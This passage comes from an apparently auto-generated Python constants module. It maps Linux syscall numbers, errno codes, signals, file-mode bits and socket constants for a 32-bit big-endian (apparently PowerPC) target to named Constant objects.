Constant('__NR_move_pages',301)\n__NR_getcpu = Constant('__NR_getcpu',302)\n__NR_epoll_pwait = Constant('__NR_epoll_pwait',303)\n__NR_utimensat = Constant('__NR_utimensat',304)\n__NR_signalfd = Constant('__NR_signalfd',305)\n__NR_timerfd = Constant('__NR_timerfd',306)\n__NR_eventfd = Constant('__NR_eventfd',307)\n__NR_sync_file_range2 = Constant('__NR_sync_file_range2',308)\n__NR_fallocate = Constant('__NR_fallocate',309)\n__NR_subpage_prot = Constant('__NR_subpage_prot',310)\n__NR_timerfd_settime = Constant('__NR_timerfd_settime',311)\n__NR_timerfd_gettime = Constant('__NR_timerfd_gettime',312)\n__NR_signalfd4 = Constant('__NR_signalfd4',313)\n__NR_eventfd2 = Constant('__NR_eventfd2',314)\n__NR_epoll_create1 = Constant('__NR_epoll_create1',315)\n__NR_dup3 = Constant('__NR_dup3',316)\n__NR_pipe2 = Constant('__NR_pipe2',317)\n__NR_inotify_init1 = Constant('__NR_inotify_init1',318)\n__NR_perf_event_open = Constant('__NR_perf_event_open',319)\n__NR_preadv = Constant('__NR_preadv',320)\n__NR_pwritev = Constant('__NR_pwritev',321)\n__NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',322)\n__NR_fanotify_init = Constant('__NR_fanotify_init',323)\n__NR_fanotify_mark = Constant('__NR_fanotify_mark',324)\n__NR_prlimit64 = Constant('__NR_prlimit64',325)\n__NR_socket = Constant('__NR_socket',326)\n__NR_bind = Constant('__NR_bind',327)\n__NR_connect = Constant('__NR_connect',328)\n__NR_listen = Constant('__NR_listen',329)\n__NR_accept = Constant('__NR_accept',330)\n__NR_getsockname = Constant('__NR_getsockname',331)\n__NR_getpeername = Constant('__NR_getpeername',332)\n__NR_socketpair = Constant('__NR_socketpair',333)\n__NR_send = Constant('__NR_send',334)\n__NR_sendto = Constant('__NR_sendto',335)\n__NR_recv = Constant('__NR_recv',336)\n__NR_recvfrom = Constant('__NR_recvfrom',337)\n__NR_shutdown = Constant('__NR_shutdown',338)\n__NR_setsockopt = Constant('__NR_setsockopt',339)\n__NR_getsockopt = Constant('__NR_getsockopt',340)\n__NR_sendmsg = Constant('__NR_sendmsg',341)\n__NR_recvmsg = Constant('__NR_recvmsg',342)\n__NR_recvmmsg = Constant('__NR_recvmmsg',343)\n__NR_accept4 = Constant('__NR_accept4',344)\n__NR_name_to_handle_at = Constant('__NR_name_to_handle_at',345)\n__NR_open_by_handle_at = Constant('__NR_open_by_handle_at',346)\n__NR_clock_adjtime = Constant('__NR_clock_adjtime',347)\n__NR_syncfs = Constant('__NR_syncfs',348)\n__NR_sendmmsg = Constant('__NR_sendmmsg',349)\n__NR_setns = Constant('__NR_setns',350)\n__NR_process_vm_readv = Constant('__NR_process_vm_readv',351)\n__NR_process_vm_writev = Constant('__NR_process_vm_writev',352)\n__NR_finit_module = Constant('__NR_finit_module',353)\n__NR_kcmp = Constant('__NR_kcmp',354)\n__NR_sched_setattr = Constant('__NR_sched_setattr',355)\n__NR_sched_getattr = Constant('__NR_sched_getattr',356)\n__NR_renameat2 = Constant('__NR_renameat2',357)\n__NR_seccomp = Constant('__NR_seccomp',358)\n__NR_getrandom = Constant('__NR_getrandom',359)\n__NR_memfd_create = Constant('__NR_memfd_create',360)\n__NR_bpf = Constant('__NR_bpf',361)\n__NR_execveat = Constant('__NR_execveat',362)\n__NR_switch_endian = Constant('__NR_switch_endian',363)\n__NR_userfaultfd = Constant('__NR_userfaultfd',364)\n__NR_membarrier = Constant('__NR_membarrier',365)\n__NR_mlock2 = Constant('__NR_mlock2',378)\n__NR_copy_file_range = Constant('__NR_copy_file_range',379)\n__NR_preadv2 = Constant('__NR_preadv2',380)\n__NR_pwritev2 = Constant('__NR_pwritev2',381)\n__NR_kexec_file_load = Constant('__NR_kexec_file_load',382)\n__NR_statx = Constant('__NR_statx',383)\n__NR_pkey_alloc = Constant('__NR_pkey_alloc',384)\n__NR_pkey_free = Constant('__NR_pkey_free',385)\n__NR_pkey_mprotect = Constant('__NR_pkey_mprotect',386)\n__NR_rseq = Constant('__NR_rseq',387)\n__NR_io_pgetevents = Constant('__NR_io_pgetevents',388)\n__NR_semtimedop = Constant('__NR_semtimedop',392)\n__NR_semget = Constant('__NR_semget',393)\n__NR_semctl = Constant('__NR_semctl',394)\n__NR_shmget = Constant('__NR_shmget',395)\n__NR_shmctl = Constant('__NR_shmctl',396)\n__NR_shmat = Constant('__NR_shmat',397)\n__NR_shmdt = Constant('__NR_shmdt',398)\n__NR_msgget = Constant('__NR_msgget',399)\n__NR_msgsnd = Constant('__NR_msgsnd',400)\n__NR_msgrcv = Constant('__NR_msgrcv',401)\n__NR_msgctl = Constant('__NR_msgctl',402)\n__NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424)\n__NR_io_uring_setup = Constant('__NR_io_uring_setup',425)\n__NR_io_uring_enter = Constant('__NR_io_uring_enter',426)\n__NR_io_uring_register = Constant('__NR_io_uring_register',427)\n__NR_open_tree = Constant('__NR_open_tree',428)\n__NR_move_mount = Constant('__NR_move_mount',429)\n__NR_fsopen = Constant('__NR_fsopen',430)\n__NR_fsconfig = Constant('__NR_fsconfig',431)\n__NR_fsmount = Constant('__NR_fsmount',432)\n__NR_fspick = Constant('__NR_fspick',433)\n__NR_pidfd_open = Constant('__NR_pidfd_open',434)\n__NR_clone3 = Constant('__NR_clone3',435)\n__NR_openat2 = Constant('__NR_openat2',437)\n__NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438)\nMAP_32BIT = Constant('MAP_32BIT',0x40)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEAGAIN = Constant('EAGAIN',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEDEADLK = Constant('EDEADLK',35)\nENAMETOOLONG = Constant('ENAMETOOLONG',36)\nENOLCK = Constant('ENOLCK',37)\nENOSYS = Constant('ENOSYS',38)\nENOTEMPTY = Constant('ENOTEMPTY',39)\nELOOP = Constant('ELOOP',40)\nEWOULDBLOCK = Constant('EWOULDBLOCK',11)\nENOMSG = Constant('ENOMSG',42)\nEIDRM = Constant('EIDRM',43)\nECHRNG = Constant('ECHRNG',44)\nEL2NSYNC = Constant('EL2NSYNC',45)\nEL3HLT = Constant('EL3HLT',46)\nEL3RST = Constant('EL3RST',47)\nELNRNG = Constant('ELNRNG',48)\nEUNATCH = Constant('EUNATCH',49)\nENOCSI = Constant('ENOCSI',50)\nEL2HLT = Constant('EL2HLT',51)\nEBADE = Constant('EBADE',52)\nEBADR = Constant('EBADR',53)\nEXFULL = Constant('EXFULL',54)\nENOANO = Constant('ENOANO',55)\nEBADRQC = Constant('EBADRQC',56)\nEBADSLT = Constant('EBADSLT',57)\nEDEADLOCK = Constant('EDEADLOCK',35)\nEBFONT = Constant('EBFONT',59)\nENOSTR = Constant('ENOSTR',60)\nENODATA = Constant('ENODATA',61)\nETIME = Constant('ETIME',62)\nENOSR = Constant('ENOSR',63)\nENONET = Constant('ENONET',64)\nENOPKG = Constant('ENOPKG',65)\nEREMOTE = Constant('EREMOTE',66)\nENOLINK = Constant('ENOLINK',67)\nEADV = Constant('EADV',68)\nESRMNT = Constant('ESRMNT',69)\nECOMM = Constant('ECOMM',70)\nEPROTO = Constant('EPROTO',71)\nEMULTIHOP = Constant('EMULTIHOP',72)\nEDOTDOT = Constant('EDOTDOT',73)\nEBADMSG = Constant('EBADMSG',74)\nEOVERFLOW = Constant('EOVERFLOW',75)\nENOTUNIQ = Constant('ENOTUNIQ',76)\nEBADFD = Constant('EBADFD',77)\nEREMCHG = Constant('EREMCHG',78)\nELIBACC = Constant('ELIBACC',79)\nELIBBAD = Constant('ELIBBAD',80)\nELIBSCN = Constant('ELIBSCN',81)\nELIBMAX = Constant('ELIBMAX',82)\nELIBEXEC = Constant('ELIBEXEC',83)\nEILSEQ = Constant('EILSEQ',84)\nERESTART = Constant('ERESTART',85)\nESTRPIPE = Constant('ESTRPIPE',86)\nEUSERS = Constant('EUSERS',87)\nENOTSOCK = Constant('ENOTSOCK',88)\nEDESTADDRREQ = Constant('EDESTADDRREQ',89)\nEMSGSIZE = Constant('EMSGSIZE',90)\nEPROTOTYPE = Constant('EPROTOTYPE',91)\nENOPROTOOPT = Constant('ENOPROTOOPT',92)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94)\nEOPNOTSUPP = Constant('EOPNOTSUPP',95)\nENOTSUP = Constant('ENOTSUP',95)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',96)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',97)\nEADDRINUSE = Constant('EADDRINUSE',98)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99)\nENETDOWN = Constant('ENETDOWN',100)\nENETUNREACH = Constant('ENETUNREACH',101)\nENETRESET = Constant('ENETRESET',102)\nECONNABORTED = Constant('ECONNABORTED',103)\nECONNRESET = Constant('ECONNRESET',104)\nENOBUFS = Constant('ENOBUFS',105)\nEISCONN = Constant('EISCONN',106)\nENOTCONN = Constant('ENOTCONN',107)\nESHUTDOWN = Constant('ESHUTDOWN',108)\nETOOMANYREFS = Constant('ETOOMANYREFS',109)\nETIMEDOUT = Constant('ETIMEDOUT',110)\nECONNREFUSED = Constant('ECONNREFUSED',111)\nEHOSTDOWN = Constant('EHOSTDOWN',112)\nEHOSTUNREACH = Constant('EHOSTUNREACH',113)\nEALREADY = Constant('EALREADY',114)\nEINPROGRESS = Constant('EINPROGRESS',115)\nESTALE = Constant('ESTALE',116)\nEUCLEAN = Constant('EUCLEAN',117)\nENOTNAM = Constant('ENOTNAM',118)\nENAVAIL = Constant('ENAVAIL',119)\nEISNAM = Constant('EISNAM',120)\nEREMOTEIO = Constant('EREMOTEIO',121)\nEDQUOT = Constant('EDQUOT',122)\nENOMEDIUM = Constant('ENOMEDIUM',123)\nEMEDIUMTYPE = Constant('EMEDIUMTYPE',124)\nECANCELED = Constant('ECANCELED',125)\nENOKEY = Constant('ENOKEY',126)\nEKEYEXPIRED = Constant('EKEYEXPIRED',127)\nEKEYREVOKED = Constant('EKEYREVOKED',128)\nEKEYREJECTED = Constant('EKEYREJECTED',129)\nEOWNERDEAD = Constant('EOWNERDEAD',130)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131)\nERFKILL = Constant('ERFKILL',132)\nEHWPOISON = Constant('EHWPOISON',133)\n__SYS_NERR = Constant('__SYS_NERR',((133) + 1))\n__LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234)\n__BIG_ENDIAN = Constant('__BIG_ENDIAN',4321)\n__BYTE_ORDER = Constant('__BYTE_ORDER',4321)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',4321)\nLITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234)\nBIG_ENDIAN = Constant('BIG_ENDIAN',4321)\nBYTE_ORDER = Constant('BYTE_ORDER',4321)\n__WORDSIZE = Constant('__WORDSIZE',32)\nINT8_MAX = Constant('INT8_MAX',(127))\nINT16_MAX = Constant('INT16_MAX',(32767))\nINT32_MAX = Constant('INT32_MAX',(2147483647))\nINT64_MAX = Constant('INT64_MAX',(9223372036854775807))\nINT8_MIN = Constant('INT8_MIN',(-1 - (127)))\nINT16_MIN = Constant('INT16_MIN',(-1 - (32767)))\nINT32_MIN = Constant('INT32_MIN',(-1 - (2147483647)))\nINT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807)))\nINT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127))\nINT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127)))\nINT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767))\nINT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767)))\nINT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647))\nINT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647)))\nINT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807))\nINT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807)))\nUINT8_MAX = Constant('UINT8_MAX',0xff)\nUINT16_MAX = Constant('UINT16_MAX',0xffff)\nUINT32_MAX = Constant('UINT32_MAX',0xffffffff)\nUINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff)\nUINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff)\nUINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff)\nUINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff)\nUINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff)\nINTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647)))\nINTPTR_MAX = Constant('INTPTR_MAX',(2147483647))\nUINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff)\nSIZE_MAX = Constant('SIZE_MAX',0xffffffff)\nPTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647)))\nPTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647))\nINTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807)))\nINTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807))\nUINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff)\nINT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127)))\nINT_FAST8_MAX = Constant('INT_FAST8_MAX',(127))\nINT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807)))\nINT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807))\nUINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff)\nUINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff)\nINT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647)))\nINT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647))\nUINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff)\nINT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647)))\nINT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647))\nUINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff)\nWINT_MIN = Constant('WINT_MIN',0)\n__FSUID_H = Constant('__FSUID_H',1)\nNSIG = Constant('NSIG',32)\n_NSIG = Constant('_NSIG',65)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGUNUSED = Constant('SIGUNUSED',31)\nSIGRTMIN = Constant('SIGRTMIN',32)\nSIGRTMAX = Constant('SIGRTMAX',(65-1))\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002)\nSA_SIGINFO = Constant('SA_SIGINFO',0x00000004)\nSA_RESTORER = Constant('SA_RESTORER',0x04000000)\nSA_ONSTACK = Constant('SA_ONSTACK',0x08000000)\nSA_RESTART = Constant('SA_RESTART',0x10000000)\nSA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000)\nSA_NODEFER = Constant('SA_NODEFER',0x40000000)\nSA_RESETHAND = Constant('SA_RESETHAND',0x80000000)\nSA_NOMASK = Constant('SA_NOMASK',0x40000000)\nSA_ONESHOT = Constant('SA_ONESHOT',0x80000000)\nSS_ONSTACK = Constant('SS_ONSTACK',1)\nSS_DISABLE = Constant('SS_DISABLE',2)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',2048)\nSIGSTKSZ = Constant('SIGSTKSZ',8192)\nSIG_BLOCK = Constant('SIG_BLOCK',0)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',1)\nSIG_SETMASK = Constant('SIG_SETMASK',2)\nSI_MAX_SIZE = Constant('SI_MAX_SIZE',128)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0)\nSIGEV_NONE = Constant('SIGEV_NONE',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nSIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64)\n_SYS_TIME_H = Constant('_SYS_TIME_H',1)\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\nFD_SETSIZE = Constant('FD_SETSIZE',1024)\nR_OK = Constant('R_OK',4)\nW_OK = Constant('W_OK',2)\nX_OK = Constant('X_OK',1)\nF_OK = Constant('F_OK',0)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n_CS_PATH = Constant('_CS_PATH',1)\n_SC_CLK_TCK = Constant('_SC_CLK_TCK',1)\n_SC_ARG_MAX = Constant('_SC_ARG_MAX',2)\n_SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3)\n_SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4)\n_SC_PAGESIZE = Constant('_SC_PAGESIZE',5)\n_SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6)\n_SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6)\n_SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7)\n_SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8)\n_SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',1)\n_PC_VDISABLE = Constant('_PC_VDISABLE',2)\nL_cuserid = Constant('L_cuserid',17)\n_POSIX_VERSION = Constant('_POSIX_VERSION',199506)\nF_ULOCK = Constant('F_ULOCK',0)\nF_LOCK = Constant('F_LOCK',1)\nF_TLOCK = Constant('F_TLOCK',2)\nF_TEST = Constant('F_TEST',3)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809)\nS_IFMT = Constant('S_IFMT',0o0170000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFDIR = Constant('S_IFDIR',0o040000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_ISUID = Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o0700)\nS_IRUSR = Constant('S_IRUSR',0o0400)\nS_IWUSR = Constant('S_IWUSR',0o0200)\nS_IXUSR = Constant('S_IXUSR',0o0100)\nS_IRWXG = Constant('S_IRWXG',0o0070)\nS_IRGRP = Constant('S_IRGRP',0o0040)\nS_IWGRP = Constant('S_IWGRP',0o0020)\nS_IXGRP = Constant('S_IXGRP',0o0010)\nS_IRWXO = Constant('S_IRWXO',0o0007)\nS_IROTH = Constant('S_IROTH',0o0004)\nS_IWOTH = Constant('S_IWOTH',0o0002)\nS_IXOTH = Constant('S_IXOTH',0o0001)\nS_IREAD = Constant('S_IREAD',0o0400)\nS_IWRITE = Constant('S_IWRITE',0o0200)\nS_IEXEC = Constant('S_IEXEC',0o0100)\n_SYS_UIO = Constant('_SYS_UIO',1)\nSOL_SOCKET = Constant('SOL_SOCKET',1)\nSO_DEBUG = Constant('SO_DEBUG',1)\nSO_REUSEADDR = Constant('SO_REUSEADDR',2)\nSO_TYPE = Constant('SO_TYPE',3)\nSO_ERROR = Constant('SO_ERROR',4)\nSO_DONTROUTE = Constant('SO_DONTROUTE',5)\nSO_BROADCAST = Constant('SO_BROADCAST',6)\nSO_SNDBUF = Constant('SO_SNDBUF',7)\nSO_RCVBUF = Constant('SO_RCVBUF',8)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',9)\nSO_OOBINLINE = Constant('SO_OOBINLINE',10)\nSO_NO_CHECK = Constant('SO_NO_CHECK',11)\nSO_PRIORITY = Constant('SO_PRIORITY',12)\nSO_LINGER = Constant('SO_LINGER',13)\nSO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14)\nSO_REUSEPORT = Constant('SO_REUSEPORT',15)\nSO_PASSCRED = Constant('SO_PASSCRED',16)\nSO_PEERCRED = Constant('SO_PEERCRED',17)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',18)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',19)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',20)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',21)\nSO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22)\nSO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23)\nSO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25)\nSO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26)\nSO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27)\nSO_GET_FILTER = Constant('SO_GET_FILTER',26)\nSO_PEERNAME = Constant('SO_PEERNAME',28)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',29)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30)\nSO_PEERSEC = Constant('SO_PEERSEC',31)\nSO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32)\nSO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33)\nSO_PASSSEC = Constant('SO_PASSSEC',34)\nSO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35)\nSCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35)\nSO_MARK = Constant('SO_MARK',36)\nSO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37)\nSCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37)\nSO_PROTOCOL = Constant('SO_PROTOCOL',38)\nSO_DOMAIN = Constant('SO_DOMAIN',39)\nSO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40)\nSO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41)\nSCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41)\nSO_PEEK_OFF = Constant('SO_PEEK_OFF',42)\nSO_NOFCS = Constant('SO_NOFCS',43)\nSO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44)\nSO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45)\nSO_BUSY_POLL = Constant('SO_BUSY_POLL',46)\nSO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47)\nSO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48)\nSO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49)\nSO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50)\nSO_DETACH_BPF = Constant('SO_DETACH_BPF',27)\nSO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51)\nSO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52)\nSO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53)\nSCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54)\nSO_MEMINFO = Constant('SO_MEMINFO',55)\nSO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56)\nSO_COOKIE = Constant('SO_COOKIE',57)\nSCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58)\nSO_PEERGROUPS = Constant('SO_PEERGROUPS',59)\nSO_ZEROCOPY = Constant('SO_ZEROCOPY',60)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSOCK_DCCP = Constant('SOCK_DCCP',6)\nSOCK_PACKET = Constant('SOCK_PACKET',10)\nUIO_FASTIOV = Constant('UIO_FASTIOV',8)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02)\nSCM_CONNECT = Constant('SCM_CONNECT',0x03)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_LOCAL = Constant('AF_LOCAL',1)\nAF_INET = Constant('AF_INET',2)\nAF_AX25 = Constant('AF_AX25',3)\nAF_IPX = Constant('AF_IPX',4)\nAF_APPLETALK = Constant('AF_APPLETALK',5)\nAF_NETROM = Constant('AF_NETROM',6)\nAF_BRIDGE = Constant('AF_BRIDGE',7)\nAF_ATMPVC = Constant('AF_ATMPVC',8)\nAF_X25 = Constant('AF_X25',9)\nAF_INET6 = Constant('AF_INET6',10)\nAF_ROSE = Constant('AF_ROSE',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_NETBEUI = Constant('AF_NETBEUI',13)\nAF_SECURITY = Constant('AF_SECURITY',14)\nAF_KEY = Constant('AF_KEY',15)\nAF_NETLINK = Constant('AF_NETLINK',16)\nAF_ROUTE = Constant('AF_ROUTE',16)\nAF_PACKET = Constant('AF_PACKET',17)\nAF_ASH = Constant('AF_ASH',18)\nAF_ECONET = Constant('AF_ECONET',19)\nAF_ATMSVC = Constant('AF_ATMSVC',20)\nAF_SNA = Constant('AF_SNA',22)\nAF_IRDA = Constant('AF_IRDA',23)\nAF_PPPOX = Constant('AF_PPPOX',24)\nAF_WANPIPE = Constant('AF_WANPIPE',25)\nAF_LLC = Constant('AF_LLC',26)\nAF_IB = Constant('AF_IB',27)\nAF_MPLS = Constant('AF_MPLS',28)\nAF_CAN = Constant('AF_CAN',29)\nAF_TIPC = Constant('AF_TIPC',30)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',31)\nAF_IUCV = Constant('AF_IUCV',32)\nAF_RXRPC = Constant('AF_RXRPC',33)\nAF_ISDN = Constant('AF_ISDN',34)\nAF_PHONET = Constant('AF_PHONET',35)\nAF_IEEE802154 = Constant('AF_IEEE802154',36)\nAF_CAIF = Constant('AF_CAIF',37)\nAF_ALG = Constant('AF_ALG',38)\nAF_NFC = Constant('AF_NFC',39)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_KCM = Constant('AF_KCM',41)\nAF_QIPCRTR = Constant('AF_QIPCRTR',42)\nAF_SMC = Constant('AF_SMC',43)\nAF_MAX = Constant('AF_MAX',44)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_INET = Constant('PF_INET',2)\nPF_AX25 = Constant('PF_AX25',3)\nPF_IPX = Constant('PF_IPX',4)\nPF_APPLETALK = Constant('PF_APPLETALK',5)\nPF_NETROM = Constant('PF_NETROM',6)\nPF_BRIDGE = Constant('PF_BRIDGE',7)\nPF_ATMPVC = Constant('PF_ATMPVC',8)\nPF_X25 = Constant('PF_X25',9)\nPF_INET6 = Constant('PF_INET6',10)\nPF_ROSE = 